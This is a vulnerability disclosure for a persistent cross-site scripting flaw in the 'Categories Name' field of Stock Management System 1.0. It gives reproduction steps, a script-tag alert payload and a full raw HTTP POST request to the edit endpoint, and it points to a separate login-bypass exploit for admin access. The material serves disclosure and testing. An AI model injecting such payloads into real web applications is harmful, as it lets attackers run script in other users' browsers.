Stock Management System 1.0 - 'Categories Name' Persistent Cross-Site Scripting

# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Categories Name)
# Exploit Author: Adeeb Shah (@hyd3sec)
# Date: August 2, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4


# Vulnerability Details
# Description A persistent cross-site scripting vulnerability exists within the 'Categories Name' parameter in the edit brand function.
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Categories Name value expected.

#Steps:

	1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)

	2. Click "Category"

	3. Click "Action" in any categories name row

	4. Click Edit

	5. In "Categories Name" field enter XSS <script>alert("XSS")</script>

	6. Click save changes

	7. Any page on the webapp expecting that 'Categories Name' will trigger the XSS.

POST /stock/php_action/editCategories.php HTTP/1.1
Host: 192.168.222.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/categories.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 102
DNT: 1
Connection: close
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8




editCategoriesName=%3Cscript%3Ealert(%22hyd3sec%22)%3C%2Fscript%3E&editCategoriesStatus=1&editCategoriesId=9